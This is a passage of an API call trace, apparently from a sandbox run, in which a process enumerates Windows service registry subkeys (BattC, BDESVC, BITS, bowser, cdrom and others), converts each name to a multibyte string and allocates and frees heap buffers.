(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.712] WideCharToMultiByte 